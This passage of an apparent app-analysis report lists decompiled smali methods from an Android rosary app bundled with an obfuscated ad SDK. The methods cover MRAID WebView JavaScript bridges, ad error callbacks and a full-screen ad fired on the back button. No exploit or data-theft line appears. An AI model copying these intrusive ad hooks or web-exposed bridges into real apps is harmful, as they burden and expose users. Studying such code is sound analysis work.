13 | move-result-object v0 | |
14 | const/high16 v1, 0x1000000 | |
15 | const/high16 v2, 0x1000000 | |
17 | invoke-virtual {v0, v1, v2}, Landroid/view/Window;->setFlags(II)V |
|
18 | goto_13: return-void | |
19 | catch_14: move-exception v0 | |
20 | goto/16 :goto_13 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "properties" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
7 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
8 | move-result-object v0 | |
9 | if-eqz v0, :cond_11 | |
11 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
13 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
14 | move-result-object v0 | |
16 | invoke-virtual {v0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->setResizeProperties(Ljava/lang/String;)V | |
17 | cond_11: return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I | |
2 | const/16 v1, 0x10 | |
3 | if-lt v0, v1, :cond_c | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable; | |
7 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackground(Landroid/graphics/drawable/Drawable;)V | |
8 | goto_b: return-void | |
9 | cond_c: | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable; | |
12 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V | |
13 | try_end_11: goto/16 :goto_b | |
14 | catch_12: move-exception v0 | |
15 | goto/16 :goto_b |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | new-instance v0, Ljava/util/zip/GZIPInputStream; | |
8 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread$InflatingEntity;->wrappedEntity:Lorg/apache/http/HttpEntity; | |
10 | invoke-interface {v1}, Lorg/apache/http/HttpEntity;->getContent()Ljava/io/InputStream; | |
11 | move-result-object v1 | |
13 | invoke-direct {v0, v1}, Ljava/util/zip/GZIPInputStream;-><init>(Ljava/io/InputStream;)V | |
14 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
7 | invoke-static {v0, p1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$200(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V | |
9 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
11 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
13 | invoke-virtual {v0}, Landroid/app/Activity;->finish()V | |
14 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/Boolean; | |
1 | .prologue | |
2 | try_start_0: | |
3 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
4 | new-instance v2, Lcom/vxjxu/jkhfn1870/AdView$8$1; | |
6 | invoke-direct {v2, p0, p1}, Lcom/vxjxu/jkhfn1870/AdView$8$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView$8;Ljava/lang/Boolean;)V | |
8 | invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z | |
9 | try_end_a: return-void | |
10 | catch_b: move-exception v0 | |
12 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
13 | goto/16 :goto_a |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onDestroy()V | |
4 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
5 | if-eqz v0, :cond_f | |
7 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
9 | invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V | |
10 | const/4 v0, 0x0 | |
11 | iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
12 | cond_f: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "dialog" # Landroid/content/DialogInterface; | |
1 | .prologue | |
2 | if-eqz p1, :cond_5 | |
3 | try_start_2: | |
4 | invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V | |
5 | cond_5: | |
6 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
8 | invoke-virtual {v0}, Landroid/app/Activity;->finish()V | |
9 | try_end_a: return-void | |
10 | catch_b: move-exception v0 | |
11 | goto/16 :goto_a |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "menu" # Landroid/view/Menu; | |
1 | .prologue | |
3 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getMenuInflater()Landroid/view/MenuInflater; | |
4 | move-result-object v0 | |
5 | const v1, 0x7f060001 | |
7 | invoke-virtual {v0, v1, p1}, Landroid/view/MenuInflater;->inflate(ILandroid/view/Menu;)V |
|
8 | const/4 v1, 0x1 | |
9 | return v1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "menu" # Landroid/view/Menu; | |
1 | .prologue | |
3 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getMenuInflater()Landroid/view/MenuInflater; | |
4 | move-result-object v0 | |
5 | const/high16 v1, 0x7f060000 | |
7 | invoke-virtual {v0, v1, p1}, Landroid/view/MenuInflater;->inflate(ILandroid/view/Menu;)V |
|
8 | const/4 v1, 0x1 | |
9 | return v1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Landroid/app/Activity;-><init>()V | |
3 | new-instance v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1; | |
5 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity;)V | |
6 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->handler:Landroid/os/Handler; | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/webkit/WebView;->onAttachedToWindow()V | |
3 | const/4 v0, 0x1 | |
4 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isViewable:Z | |
6 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/webkit/WebView;->onDetachedFromWindow()V | |
3 | const/4 v0, 0x0 | |
4 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isViewable:Z | |
6 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v0, 0x0 | |
3 | invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->actionOnViewChanges(Z)V |
|
5 | invoke-super {p0}, Landroid/widget/FrameLayout;->onAttachedToWindow()V | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v0, 0x0 | |
3 | invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->actionOnViewChanges(Z)V |
|
5 | invoke-super {p0}, Landroid/widget/FrameLayout;->onDetachedFromWindow()V | |
6 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "visibility" # I | |
1 | .prologue | |
3 | invoke-super {p0, p1}, Landroid/webkit/WebView;->setVisibility(I)V | |
5 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->checkVisibility()V | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "status" # I | |
1 | .param p1, "message" # Ljava/lang/String; | |
2 | .prologue | |
3 | if-eqz p1, :cond_a | |
5 | const-string v0, "" | |
7 | invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
8 | move-result v0 | |
9 | if-eqz v0, :cond_b | |
10 | goto_a: return-void | |
11 | cond_b: sparse-switch p0, :sswitch_data_24 | |
12 | goto/16 :goto_a | |
13 | sswitch_f: | |
14 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V | |
15 | goto/16 :goto_a | |
16 | sswitch_13: | |
17 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V | |
18 | goto/16 :goto_a | |
19 | sswitch_17: | |
20 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V | |
21 | goto/16 :goto_a | |
22 | sswitch_1b: | |
23 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V | |
24 | goto/16 :goto_a | |
25 | sswitch_1f: | |
26 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V | |
27 | goto/16 :goto_a | |
28 | nop |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .prologue | |
2 | try_start_0: | |
3 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
4 | if-eqz v1, :cond_e | |
6 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler; | |
7 | new-instance v2, Lcom/vxjxu/jkhfn1870/SDKIntializer$3; | |
9 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer$3;-><init>(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
11 | invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z | |
12 | try_end_e: return-void | |
13 | catch_f: move-exception v0 | |
14 | try_start_10: | |
15 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
17 | invoke-interface {v1, p0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
18 | try_end_15: goto/16 :goto_e | |
19 | catch_16: move-exception v1 | |
20 | goto/16 :goto_e |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "message" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: | |
3 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
4 | if-eqz v1, :cond_e | |
6 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler; | |
7 | new-instance v2, Lcom/vxjxu/jkhfn1870/SDKIntializer$2; | |
9 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer$2;-><init>(Ljava/lang/String;)V | |
11 | invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z | |
12 | try_end_e: return-void | |
13 | catch_f: move-exception v0 | |
14 | try_start_10: | |
15 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
17 | invoke-interface {v1, p0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onAdError(Ljava/lang/String;)V | |
18 | try_end_15: goto/16 :goto_e | |
19 | catch_16: move-exception v1 | |
20 | goto/16 :goto_e |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "message" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: | |
3 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
4 | if-eqz v1, :cond_e | |
6 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler; | |
7 | new-instance v2, Lcom/vxjxu/jkhfn1870/SDKIntializer$1; | |
9 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer$1;-><init>(Ljava/lang/String;)V | |
11 | invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z | |
12 | try_end_e: return-void | |
13 | catch_f: move-exception v0 | |
14 | try_start_10: | |
15 | sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
17 | invoke-interface {v1, p0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onSDKIntegrationError(Ljava/lang/String;)V | |
18 | try_end_15: goto/16 :goto_e | |
19 | catch_16: move-exception v1 | |
20 | goto/16 :goto_e |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "baseUrl" # Ljava/lang/String; | |
1 | .param p2, "data" # Ljava/lang/String; | |
2 | .param p3, "mimeType" # Ljava/lang/String; | |
3 | .param p4, "encoding" # Ljava/lang/String; | |
4 | .param p5, "historyUrl" # Ljava/lang/String; | |
5 | .prologue | |
7 | invoke-super/range {p0 .. p5}, Landroid/webkit/WebView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V | |
9 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
10 | if-eqz v0, :cond_c | |
12 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
14 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadingListener()V | |
15 | cond_c: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "code" # I | |
2 | .prologue | |
4 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
5 | if-nez p1, :cond_6 | |
6 | goto_5: return-void | |
7 | cond_6: iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->context:Landroid/content/Context; | |
9 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
10 | move-result v0 | |
11 | if-eqz v0, :cond_5 | |
13 | invoke-direct {p0, p2}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;->sendIntegartionError(I)V | |
14 | goto/16 :goto_5 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->airPlay:Lcom/vxjxu/jkhfn1870/AirPlay; | |
3 | if-eqz v0, :cond_b | |
5 | iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->airPlay:Lcom/vxjxu/jkhfn1870/AirPlay; | |
7 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
9 | invoke-virtual {v0, p0, v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->showCachedAd(Landroid/app/Activity;Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
10 | cond_b: | |
11 | invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V | |
12 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .param p2, "fileName" # Ljava/lang/String; | |
2 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
3 | .end annotation | |
4 | .prologue | |
6 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
7 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5; | |
9 | invoke-direct {v1, p0, p1, p2}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;Ljava/lang/String;)V | |
11 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
12 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Landroid/app/Activity;-><init>()V | |
3 | new-instance v0, Lprsolutions/rosariofacileads/RosarioFacile$1; | |
5 | invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/RosarioFacile$1;-><init>(Lprsolutions/rosariofacileads/RosarioFacile;)V | |
6 | iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener; | |
7 | new-instance v0, Lprsolutions/rosariofacileads/RosarioFacile$2; | |
9 | invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/RosarioFacile$2;-><init>(Lprsolutions/rosariofacileads/RosarioFacile;)V | |
10 | iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mResourcesAudioListener:Landroid/view/View$OnClickListener; | |
11 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$url:Ljava/lang/String; | |
8 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$fileName:Ljava/lang/String; | |
10 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->storePicture(Ljava/lang/String;Ljava/lang/String;)V | |
11 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "json" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6; | |
8 | invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;)V | |
10 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
11 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1; | |
8 | invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;)V | |
10 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
11 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4; | |
8 | invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;Ljava/lang/String;)V | |
10 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
11 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$5; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
5 | iget v1, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$staus:I | |
7 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView$5$1;->val$message:Ljava/lang/String; | |
9 | invoke-static {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/AdView;->access$800(Lcom/vxjxu/jkhfn1870/AdView;ILjava/lang/String;)V | |
10 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/webkit/WebView;->onAnimationEnd()V | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
5 | if-eqz v0, :cond_c | |
7 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
9 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;->onAnimationDrawEnd()V | |
10 | cond_c: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
1 | .end annotation | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
5 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2; | |
7 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;)V | |
9 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
10 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
1 | .end annotation | |
2 | .prologue | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
5 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3; | |
7 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;)V | |
9 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
10 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->val$url:Ljava/lang/String; | |
8 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->expand(Ljava/lang/String;)V | |
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->val$url:Ljava/lang/String; | |
8 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->playVideo(Ljava/lang/String;)V | |
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->val$json:Ljava/lang/String; | |
8 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->createCalendarEvent(Ljava/lang/String;)V | |
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p2, "_x" # I | |
1 | .param p3, "_y" # I | |
2 | .prologue | |
3 | iput-object p1, p0, Lprsolutions/rosariofacileads/Player$Coord;->this$0:Lprsolutions/rosariofacileads/Player; | |
5 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
6 | iput p2, p0, Lprsolutions/rosariofacileads/Player$Coord;->x:I | |
7 | iput p3, p0, Lprsolutions/rosariofacileads/Player$Coord;->y:I | |
8 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Signature; | |
1 | value = { | |
2 | "()V" | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
7 | invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V | |
8 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$1;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
4 | iget-object v0, v0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
5 | const/4 v1, 0x2 | |
7 | invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z |
|
8 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Signature; | |
1 | value = { | |
2 | "()V" | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
7 | invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V | |
8 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | const-string v0, "" | |
5 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->resizeProperties:Ljava/lang/String; | |
6 | const/4 v0, 0x0 | |
7 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->useCustomClose:Z | |
8 | return-void |
